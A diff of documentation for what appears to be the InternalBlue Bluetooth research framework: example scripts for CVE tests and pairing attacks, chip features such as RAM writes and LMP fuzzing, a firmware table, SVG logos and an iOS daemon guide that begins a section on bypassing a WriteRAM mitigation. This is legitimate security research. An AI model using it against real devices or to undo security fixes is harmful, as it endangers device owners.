* [CYW20735 evaluation board](../examples/eval_cyw20735/CVE_2018_19860_Crash_on_Connect.py)
|
||||
|
||||
Invalid Curve Attack Test (CVE-2018-5383)
|
||||
-----------------------------------------
|
||||
This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
|
||||
(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
|
||||
|
||||
* [Nexus 5](../examples/nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py)
|
||||
|
||||
LMP MAC Address Filter
|
||||
----------------------
|
||||
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
|
||||
|
||||
* [Nexus 5](../examples/nexus5/LMP_MAC_Address_Filter.py)
|
||||
|
||||
NiNo Attack Test
|
||||
----------------
|
||||
Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
|
||||
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
|
||||
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
|
||||
active MITM attack.
|
||||
|
||||
* [Nexus 5](../examples/nexus5/NiNo_PoC.py)
|
||||
|
||||
|
||||
Measurement of BLE Receive Statistics
|
||||
-------------------------------------
|
||||
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
|
||||
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
|
||||
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
|
||||
currently active channel map.
|
||||
|
||||
Available for the [Nexus 5](../examples/nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](../examples/s8/BLE_Reception_PoC.py) including a callback script,
|
||||
as well as for the [CYW20735 Evaluation board](../examples/eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](../examples/rpi3/BLE_Reception_PoC.py)
|
||||
and [3+/4](../examples/rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
|
||||
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
|
||||
with the full iOS stack, thus it is not pushed online here.
|
||||
@@ -0,0 +1,34 @@
|
||||
Supported Features
|
||||
------------------
|
||||
|
||||
This list is subject to change, but we give you a brief overview.
|
||||
You probably have a platform with a *Broadcom* chip that supports most features :)
|
||||
|
||||
On any Bluetooth chip:
|
||||
* Send HCI commands
|
||||
* Monitor HCI
|
||||
* Establish connections
|
||||
|
||||
On any Broadcom Bluetooth chip:
|
||||
* Read and write RAM
|
||||
* Read and write assembly to RAM
|
||||
* Read ROM
|
||||
* Set defined breakpoints that crash on execution
|
||||
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
|
||||
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
|
||||
* Read AFH channel map
|
||||
|
||||
On selected Broadcom Bluetooth chips:
|
||||
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
|
||||
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
|
||||
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
|
||||
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
|
||||
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi Zero W/3/3+/4)
|
||||
* Full object and function symbol table (Cypress Evaluation Boards only)
|
||||
* Demos for Nexus 5 only:
|
||||
* ECDH CVE-2018-5383 example
|
||||
* NiNo example
|
||||
* MAC address filter example
|
||||
* KNOB attack test for various devices, including Raspberry Pi 3+/4
|
||||
* BLE reception statistics for active connections
|
||||
* Enhanced BLE advertisement reports (channel, scan mode, antenna)
|
||||
@@ -1,22 +1,23 @@
|
||||
Firmware Versions
|
||||
=================
|
||||
|
||||
This package adds support for different Broadcom and Cypress firmware versions.
|
||||
A list of known versions can be found below, however we only have firmware information on a subset of these.
|
||||
Results are based on real world testing, this list is very incomplete. If you know more versions, input is appreciated.
|
||||
A list of known firmware versions can be found below.
|
||||
However, we only have firmware information on a subset of these.
|
||||
Results are based on real-world testing, this list is very incomplete.
|
||||
If you know more versions, input is appreciated :)
|
||||
|
||||
|
||||
|
||||
Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
|
||||
-------| ------- | ---------- | ----------- | ------- | ----------
|
||||
0x000f | 0x04 | 0x4217 | BCM4329B1 | iPhone 4, Nexus One, iPod touch (A1367)
|
||||
0x000f | 0x04 | 0x21d0 | BCM2046 | iMac 27" late 2009
|
||||
0x000f | 0x04 | 0x21d0 | BCM2046A2 | iMac 27" late 2009 | 2007
|
||||
0x000f | 0x04 | 0x422a | BCM4331 | MacBook Pro early 2011
|
||||
0x000f | 0x04 | 0x4203 | | HP ProBook 6550b and 6450b
|
||||
0x000f | 0x05 | 0x4203 | BCM2034B | Thinkpad T420
|
||||
0x000f | 0x05 | 0x610d | | iPad A1395
|
||||
0x000f | 0x05 | 0x240c | BCM20733 | Magic Keyboard
|
||||
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2
|
||||
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2 | ~Feb 2010
|
||||
0x000f | 0x06 | 0x229b | BCM20702A3 | MacBook Pro 13" mid 2012 (A1278)
|
||||
0x000f | 0x06 | 0x4103 | BCM4330B1 | iPhone 4s
|
||||
0x000f | 0x06 | 0x410d | | BlackBerry Q5
|
||||
@@ -24,7 +25,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
|
||||
0x000f | 0x06 | 0x6109 | | Samsung Galaxy Note 10.1 2014 WiFi (SM-P600)
|
||||
0x000f | 0x07 | 0x220f | BCM20736S | Equiva Radiator Thermostat CC-RT-BLE-EQ
|
||||
0x000f | 0x07 | 0x2203 | BCM43342 | iPhone 5s
|
||||
0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 | Jun 2 2014
|
||||
0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 and Zero W | Jun 2 2014
|
||||
0x000f | 0x07 | 0x230f | BCM4356A2 | Xperia Z5
|
||||
0x000f | 0x07 | 0x410d | BCM4334 | iPhone 5 (A1429)
|
||||
0x000f | 0x07 | 0x4606 | BCM4324 | iPad Air (A1474)
|
||||
@@ -34,6 +35,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
|
||||
0x000f | 0x08 | 0x21a6 | BCM20703A1 | MacBook Pro early 2015
|
||||
0x000f | 0x08 | 0x21a7 | BCM20703A1 | MacBook Pro early 2015 (with security fix)
|
||||
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.14.6)
|
||||
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.15.4)
|
||||
0x000f | 0x08 | 0x220b | CYW20706 | CYW920706 Evaluation Kit, same ROM as MacBook Pro 2016 | Oct 22 2015
|
||||
0x000f | 0x08 | 0x220b | BCM20707 | Fitbit Ionic
|
||||
0x000f | 0x08 | 0x2230 | BCM20703A2 | MacBook Pro 2016 (A1707) | Oct 22 2015
|
||||
@@ -60,14 +62,14 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
|
||||
0x0131 | 0x09 | 0x220c | CYW20819A1 | ULP BLE/BR/EDR Bluetooth 5 Wireless MCU Evaluation Kit CYW920819EVB-02 | May 22 2018
|
||||
0x000f | 0x09 | 0x411a | BCM4347B0 (BCM4361B0) | Samsung Galaxy S8 | Jun 3 2016
|
||||
0x0131 | 0x09 | 0x4208 | CYW20735B1 | BLE/BR Bluetooth 5.0 Evaluation Kit CYW920735Q60EVB-01 | Jan 18 2018
|
||||
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+ (local version is 0x1111) | April 13 2018
|
||||
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+, Samsung Galaxy S20 (local version is 0x1111) | April 13 2018
|
||||
0x000f | 0x09 | 0x420e | BCM4347B1 | iPhone 8, XR, X | Oct 11 2016
|
||||
0x0131 | 0x09 | 0x420e | CYW20739B1 | Bluetooth 5.0 BLE Evaluation Kit CYW920719Q40EVB-01 | Jan 17 2017
|
||||
0x000f | 0x09 | 0x4307 | BCM4377B2 | iPhone XS (Aladdin), iPhone Xs Max (Genie), iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
|
||||
0x000f | 0x09 | 0x4309 | | Samsung Galaxy Note 9, Samsung Galaxy S9, S9+
|
||||
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
|
||||
0x000f | 0x09 | 0x6214 | BCM4355C1 | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
|
||||
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air despite being specified as BT 5 online*
|
||||
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air but are BT 5* | Oct 25 2018
|
||||
|
||||
|
||||
|
||||
@@ -77,6 +79,15 @@ Matching of vendor and version number see list of [Bluetooth versions](https://w
|
||||
There are more popular devices with Broadcom chips, i.e. many Lenovos, Acers, Sonys, Toshibas, HPs, Azurewares, ... see [this list](https://github.com/winterheart/broadcom-bt-firmware/blob/master/DEVICES.md), but we did not see these in the wild yet and do not know their LMP subversion.
|
||||
|
||||
|
||||
Intentional Security Fix
|
||||
------------------------
|
||||
|
||||
Broadcom started breaking *InternalBlue* support on purpose on recent chips to increase security.
|
||||
On a Samsung Galaxy S10 with March 2020 patch level as well as on an iPhone 7 and 8 with iOS 13.4.1,
|
||||
the `Write_RAM` HCI command is no longer available. It results in error code 12 if not used in
|
||||
download minidriver mode during driver initialization by the operating system.
|
||||
|
||||
|
||||
Known Issues
|
||||
------------
|
||||
|
||||
@@ -84,12 +95,13 @@ There is a couple of issues causing trouble running *InternalBlue*, which are re
|
||||
|
||||
* BCM4335C0
|
||||
* Diagnostic messages lack behind by one. If you send `diag c1` you will not get a response. Followed by `diag c2` you will get a response for `c1`, and so on. This issue is independent from the Android driver patch, i.e. a Nexus 6P works perfectly with the same LineageOS 14.1 patch that causes this issue on a Nexus 5.
|
||||
* BCM4358A3
|
||||
* BCM4358A3 (Nexus 6P + Samsung Galaxy S6), and iPhone 7 firmware:
|
||||
* `Launch_RAM` crashes the firmware if it received another HCI command within the next ~6 seconds. When patching and launching scripts, close the Bluetooth overview from the operating system to prevent scanning and hope that nothing else interacts with this.
|
||||
* CYW20735B1
|
||||
* `Launch_RAM` works in principle, but threading seems to be broken if the executed code generates other HCI events.
|
||||
A hook at `0xB0316` is a nice spot to implement a function that generates HCI events and can be called via the HCI command `0xfc19`.
|
||||
The general solution seems to be `self.internalblue.patchRom(0x3d32e, "\x70\x47\x70\x47")` respectively `patch -a 0x3d32e --asm bx lr`, which fixes that the baud rate is set to a wrong value during `Launch_RAM`.
|
||||
* Same issue exists for CYW20719, CYW20819
|
||||
|
||||
Firmware Version and Build Date
|
||||
-------------------------------
|
||||
@@ -100,30 +112,4 @@ is internally called *BCM4335C0*. It is known to be a revision of the older *BCM
|
||||
On newer chips, the build information is located in the beginning of the stack. To see it, simply enter
|
||||
|
||||
hd 0x200400
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
License
|
||||
-------
|
||||
|
||||
Copyright 2019 Jiska Classen
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is furnished to do
|
||||
so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 56 KiB |
@@ -0,0 +1,83 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
id="internalblue_Image"
|
||||
data-name="internalblue Image"
|
||||
viewBox="0 0 584.64 583.68"
|
||||
version="1.1"
|
||||
sodipodi:docname="internalblue.svg"
|
||||
inkscape:version="0.92.4 (5da689c313, 2019-01-14)"
|
||||
inkscape:export-filename="/tmp/internalblue.png"
|
||||
inkscape:export-xdpi="82.339996"
|
||||
inkscape:export-ydpi="82.339996">
|
||||
<metadata
|
||||
id="metadata983">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<sodipodi:namedview
|
||||
pagecolor="#ffffff"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1"
|
||||
objecttolerance="10"
|
||||
gridtolerance="10"
|
||||
guidetolerance="10"
|
||||
inkscape:pageopacity="0"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:window-width="1276"
|
||||
inkscape:window-height="1400"
|
||||
id="namedview981"
|
||||
showgrid="false"
|
||||
inkscape:zoom="1.3307334"
|
||||
inkscape:cx="292.32001"
|
||||
inkscape:cy="291.84"
|
||||
inkscape:window-x="1280"
|
||||
inkscape:window-y="18"
|
||||
inkscape:window-maximized="0"
|
||||
inkscape:current-layer="internalblue_Image" />
|
||||
<defs
|
||||
id="defs962">
|
||||
<style
|
||||
id="style960">
|
||||
.cls-1 {
|
||||
fill: #fefeff;
|
||||
}
|
||||
|
||||
.cls-2 {
|
||||
fill: #0069b4;
|
||||
}
|
||||
</style>
|
||||
</defs>
|
||||
<title
|
||||
id="title964">internalblue</title>
|
||||
<g
|
||||
id="g978">
|
||||
<path
|
||||
class="cls-2"
|
||||
d="M507.93,583.69a.55.55,0,0,1-.25.33H77.6a.51.51,0,0,1-.26-.33c1-.05,2.07-.14,3.11-.14H504.82C505.85,583.55,506.89,583.64,507.93,583.69Z"
|
||||
transform="translate(-0.32 -0.34)"
|
||||
id="path968" />
|
||||
<path
|
||||
class="cls-2"
|
||||
d="M507.93,583.69c-1-.05-2.08-.14-3.11-.14H80.45c-1,0-2.08.09-3.11.14a65.68,65.68,0,0,1-22.94-4.38c-28.4-10.84-45.73-31.23-52-60.95a67.65,67.65,0,0,1-1.25-14.07q0-211.91,0-423.82A79.85,79.85,0,0,1,66.66,2.18,83.26,83.26,0,0,1,81.44.83H503.82A80,80,0,0,1,582.4,64.07a77.7,77.7,0,0,1,1.7,16.67q0,130.08,0,260.15v98.64c0,.64-.05,1.28,0,1.92.1,1.09-.23,1.69-1.44,1.54a13.83,13.83,0,0,0-1.44,0H516.65c-3.3,0-2.86.43-2.86-3q0-165.24,0-330.47c0-9.89-2.77-18.77-9.52-26.16a35.76,35.76,0,0,0-26.05-12c-.64,0-1.28,0-1.92,0q-183.72,0-367.43,0a36.21,36.21,0,0,0-22,6.83,35.5,35.5,0,0,0-15.12,27.4c-.12,1.83-.15,3.67-.15,5.51q0,181.79,0,363.59c0,5.64.52,11.2,2.88,16.4,5.67,12.55,15.27,20,29,22a47.89,47.89,0,0,0,7.18.33H579.74c3.9,0,4,0,3.27,3.94q-7.75,40.61-44.83,58.93a75.67,75.67,0,0,1-29.55,7.48A4.22,4.22,0,0,1,507.93,583.69Z"
|
||||
transform="translate(-0.32 -0.34)"
|
||||
id="path970" />
|
||||
<path
|
||||
class="cls-2"
|
||||
d="M414.84,293.5c2.7,2.41,5.21,4.62,7.53,7,12.55,13.11,20.33,28.64,22.76,46.61a84.15,84.15,0,0,1-63.95,93.9,85.13,85.13,0,0,1-19.47,2.27H143.09c-4.13,0-4.13,0-4.13-4.11q0-133.54-.07-267.1c0-15,12.65-28.38,28.39-28.36q97.42.13,194.86,0a84.26,84.26,0,0,1,54.34,148.3ZM282.08,261.67H345.4c1.28,0,2.56,0,3.83-.1,16.27-.89,28-17,23.79-32.81-3.19-12.06-13.63-20-26.38-20H215.2c-3,0-2.71-.29-2.71,2.69q0,23.63,0,47.25c0,3.24-.46,3,2.91,3Zm0,118h63.12a44.32,44.32,0,0,0,6-.22A26.41,26.41,0,0,0,361.62,331a28.65,28.65,0,0,0-16-4.22q-63.6.06-127.19,0c-1.36,0-2.72,0-4.08,0-1.85,0-1.85,0-1.89,1.83,0,.32,0,.64,0,1q0,23.64,0,47.28c0,3.07-.41,2.78,2.84,2.79Z"
|
||||
transform="translate(-0.32 -0.34)"
|
||||
id="path972" />
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 3.7 KiB |
@@ -0,0 +1,115 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
|
||||
<svg
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
width="229.27933mm"
|
||||
height="37.635212mm"
|
||||
viewBox="0 0 229.27933 37.635212"
|
||||
version="1.1"
|
||||
id="svg8"
|
||||
inkscape:version="0.92.4 (5da689c313, 2019-01-14)"
|
||||
sodipodi:docname="internalblue_text.svg"
|
||||
inkscape:export-filename="/tmp/internalblue_template.png"
|
||||
inkscape:export-xdpi="96"
|
||||
inkscape:export-ydpi="96">
|
||||
<defs
|
||||
id="defs2">
|
||||
<style
|
||||
id="style899">
|
||||
.cls-1 {
|
||||
fill: #fefeff;
|
||||
}
|
||||
|
||||
.cls-2 {
|
||||
fill: #0069b4;
|
||||
}
|
||||
</style>
|
||||
</defs>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
pagecolor="#ffffff"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageopacity="0.0"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:zoom="1.4"
|
||||
inkscape:cx="231.45922"
|
||||
inkscape:cy="96.512887"
|
||||
inkscape:document-units="mm"
|
||||
inkscape:current-layer="layer1"
|
||||
showgrid="false"
|
||||
inkscape:window-width="1276"
|
||||
inkscape:window-height="1400"
|
||||
inkscape:window-x="1280"
|
||||
inkscape:window-y="18"
|
||||
inkscape:window-maximized="0"
|
||||
fit-margin-top="0"
|
||||
fit-margin-left="0"
|
||||
fit-margin-right="0"
|
||||
fit-margin-bottom="0" />
|
||||
<metadata
|
||||
id="metadata5">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
<dc:title></dc:title>
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<g
|
||||
inkscape:label="Layer 1"
|
||||
inkscape:groupmode="layer"
|
||||
id="layer1"
|
||||
transform="translate(137.31823,-97.398391)">
|
||||
<g
|
||||
id="g945"
|
||||
transform="translate(15.723867)">
|
||||
<g
|
||||
transform="matrix(0.06446822,0,0,0.06447919,-153.0421,97.398391)"
|
||||
id="g917">
|
||||
<path
|
||||
style="fill:#0069b4"
|
||||
inkscape:connector-curvature="0"
|
||||
class="cls-2"
|
||||
d="m 507.93,583.69 a 0.55,0.55 0 0 1 -0.25,0.33 H 77.6 a 0.51,0.51 0 0 1 -0.26,-0.33 c 1,-0.05 2.07,-0.14 3.11,-0.14 h 424.37 c 1.03,0 2.07,0.09 3.11,0.14 z"
|
||||
transform="translate(-0.32,-0.34)"
|
||||
id="path907" />
|
||||
<path
|
||||
style="fill:#0069b4"
|
||||
inkscape:connector-curvature="0"
|
||||
class="cls-2"
|
||||
d="m 507.93,583.69 c -1,-0.05 -2.08,-0.14 -3.11,-0.14 H 80.45 c -1,0 -2.08,0.09 -3.11,0.14 A 65.68,65.68 0 0 1 54.4,579.31 C 26,568.47 8.67,548.08 2.4,518.36 A 67.65,67.65 0 0 1 1.15,504.29 q 0,-211.91 0,-423.82 A 79.85,79.85 0 0 1 66.66,2.18 83.26,83.26 0 0 1 81.44,0.83 h 422.38 a 80,80 0 0 1 78.58,63.24 77.7,77.7 0 0 1 1.7,16.67 q 0,130.08 0,260.15 v 98.64 c 0,0.64 -0.05,1.28 0,1.92 0.1,1.09 -0.23,1.69 -1.44,1.54 a 13.83,13.83 0 0 0 -1.44,0 h -64.57 c -3.3,0 -2.86,0.43 -2.86,-3 q 0,-165.24 0,-330.47 c 0,-9.89 -2.77,-18.77 -9.52,-26.16 a 35.76,35.76 0 0 0 -26.05,-12 c -0.64,0 -1.28,0 -1.92,0 q -183.72,0 -367.43,0 a 36.21,36.21 0 0 0 -22,6.83 35.5,35.5 0 0 0 -15.12,27.4 c -0.12,1.83 -0.15,3.67 -0.15,5.51 q 0,181.79 0,363.59 c 0,5.64 0.52,11.2 2.88,16.4 5.67,12.55 15.27,20 29,22 a 47.89,47.89 0 0 0 7.18,0.33 h 469.08 c 3.9,0 4,0 3.27,3.94 q -7.75,40.61 -44.83,58.93 a 75.67,75.67 0 0 1 -29.55,7.48 4.22,4.22 0 0 1 -0.7,-0.08 z"
|
||||
transform="translate(-0.32,-0.34)"
|
||||
id="path909" />
|
||||
<path
|
||||
style="fill:#0069b4"
|
||||
inkscape:connector-curvature="0"
|
||||
class="cls-2"
|
||||
d="m 414.84,293.5 c 2.7,2.41 5.21,4.62 7.53,7 12.55,13.11 20.33,28.64 22.76,46.61 a 84.15,84.15 0 0 1 -63.95,93.9 85.13,85.13 0 0 1 -19.47,2.27 H 143.09 c -4.13,0 -4.13,0 -4.13,-4.11 q 0,-133.54 -0.07,-267.1 c 0,-15 12.65,-28.38 28.39,-28.36 q 97.42,0.13 194.86,0 a 84.26,84.26 0 0 1 54.34,148.3 z M 282.08,261.67 h 63.32 c 1.28,0 2.56,0 3.83,-0.1 16.27,-0.89 28,-17 23.79,-32.81 -3.19,-12.06 -13.63,-20 -26.38,-20 H 215.2 c -3,0 -2.71,-0.29 -2.71,2.69 q 0,23.63 0,47.25 c 0,3.24 -0.46,3 2.91,3 z m 0,118 h 63.12 a 44.32,44.32 0 0 0 6,-0.22 26.41,26.41 0 0 0 10.42,-48.45 28.65,28.65 0 0 0 -16,-4.22 q -63.6,0.06 -127.19,0 c -1.36,0 -2.72,0 -4.08,0 -1.85,0 -1.85,0 -1.89,1.83 0,0.32 0,0.64 0,1 q 0,23.64 0,47.28 c 0,3.07 -0.41,2.78 2.84,2.79 z"
|
||||
transform="translate(-0.32,-0.34)"
|
||||
id="path911" />
|
||||
</g>
|
||||
<text
|
||||
id="text934"
|
||||
y="127.89525"
|
||||
x="-103.61334"
|
||||
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:20.88549042px;line-height:9.79007339px;font-family:Arial;-inkscape-font-specification:Arial;text-align:start;letter-spacing:0px;word-spacing:0px;writing-mode:lr-tb;text-anchor:start;fill:#0069b4;fill-opacity:1;stroke:none;stroke-width:0.39160296px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
|
||||
xml:space="preserve"><tspan
|
||||
style="font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;font-size:31.32823563px;font-family:Arial;-inkscape-font-specification:'Arial Bold';text-align:start;text-anchor:start;fill:#0069b4;fill-opacity:1;stroke-width:0.39160296px"
|
||||
y="127.89525"
|
||||
x="-103.61334"
|
||||
id="tspan932"
|
||||
sodipodi:role="line">InternalBlue</tspan></text>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 5.5 KiB |
+99
@@ -0,0 +1,99 @@
|
||||
# iOS internalblued
|
||||
This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
|
||||
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
|
||||
A jailbroken device is required.
|
||||
|
||||
A compiled version of `internalblued` can be found in [`ios/packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb`](../ios/packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb)
|
||||
for UART devices and in [`ios-pcie/packages/com.ttdennis.internalblued_0.0.1-54+debug_iphoneos-arm.deb)`](../ios-pcie/packages/com.ttdennis.internalblued_0.0.1-54+debug_iphoneos-arm.deb)
|
||||
for PCIe devices.
|
||||
|
||||
UART devices:
|
||||
* iPhone 6
|
||||
* iPhone 7
|
||||
* iPhone SE
|
||||
* iPhone 8
|
||||
* iPhone XR (yes, even though this one is already A12) (not tested)
|
||||
|
||||
PCIe devices:
|
||||
* iPhone Xs (not tested)
|
||||
* iPhone 11
|
||||
* iPhone SE2
|
||||
|
||||
|
||||
## Installing
|
||||
1. Transfer the `.deb` file to your iOS device
|
||||
2. Run `dpkg -i your-deb-file.deb` to install `internalblued` on your device
|
||||
|
||||
The installer depends on `jtool2`, which can be downloaded [here](http://www.newosxbook.com/tools/jtool.html)
|
||||
or from the [kiiimo](http://cydia.kiiimo.org/) repo via Cydia.
|
||||
|
||||
On *Linux*, `libimobiledevice` bindings see to be slightly different and you might to adjust the following line:
|
||||
```
|
||||
dev_id = "iOS Device (" + dev.serial.decode('utf-8') + ")"
|
||||
```
|
||||
|
||||
## Running internalblued
|
||||
Once installed, `internalblued` runs as a `LaunchDaemon` and is ready to be used. By default it will listen to port 1234 (TCP) on localhost. If `usbmux` is installed, `internalblue` will be able to connect to the phone as the port is passed through `usbmuxd`.
|
||||
|
||||
During usage with `internalblue` Bluetooth has to be disabled in the phones Settings App.
|
||||
|
||||
In case the Bluetooth chip stops responding, Bluetooth has to be turned on and off again in the Settings App.
|
||||
|
||||
There is a Settings App pane for `internalblued` to turn off the daemon and adapt the listening port. However, this is usually not required. As long as `internalblue` is not connected to `internalblued`'s socket, Bluetooth can be used without any restrictions.
|
||||
|
||||
## Building internalblued
|
||||
1. Install [theos](https://github.com/theos/theos)
|
||||
2. Install the correct version of PrivateFramework header files (e.g. from [here](https://github.com/xybp888/iOS-SDKs)) for your build into your SDK
|
||||
3. Run `make package`
|
||||
4. A `.deb` file should be in the `packages` folder now
|
||||
|
||||
|
||||
## BlueTool
|
||||
|
||||
More inconvenient to use, but still an option for unsupported devices, is `BlueTool`.
|
||||
It can even be scripted, but the scripts must be located in `/etc/bluetool`.
|
||||
|
||||
For example, during our Random Number Generator (RNG) tests, we used the following commands
|
||||
to access the RNG area and execute the `LE_Rand` HCI command. Note that the input must be
|
||||
decimal but the output is hexadecimal. Similar to `internalblued`, `BlueTool` can only
|
||||
run while Bluetooth is turned off.
|
||||
|
||||
```
|
||||
device -D
|
||||
hci cmd 0xfc4d 0 38 96 0 32
|
||||
HCI Command Response: 01 4D FC 00 03 00 00 00 01 00 00 02 DC 70 02 76 77 77 77 77 77 77 77 77 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
hci cmd 0x2018
|
||||
HCI Command Response: 01 18 20 00 2A FC 1F 73 67 11 06 F9
|
||||
```
|
||||
|
||||
## Bypassing the WriteRAM Restriction
|
||||
|
||||
After iOS 13.3, WriteRAM is blocked. This is part of the Spectra mitigation and should prevent
|
||||
an attacker with control over `bluetoothd` to escalate into the Wi-Fi chip (yes, Wi-Fi, not Bluetooth, this is
|
||||
no typo). Re-enabling WriteRAM poses a security risk but is required for experimentation.
|
||||
|
||||
The security patch blocks the WriteRAM command to just return the status 0x12 instead of executing it.
|
||||
Starting from iOS 13.6, `.hcd` files are no longer in the firmware directory but built-in into `BlueTool`.
|
||||
|
||||
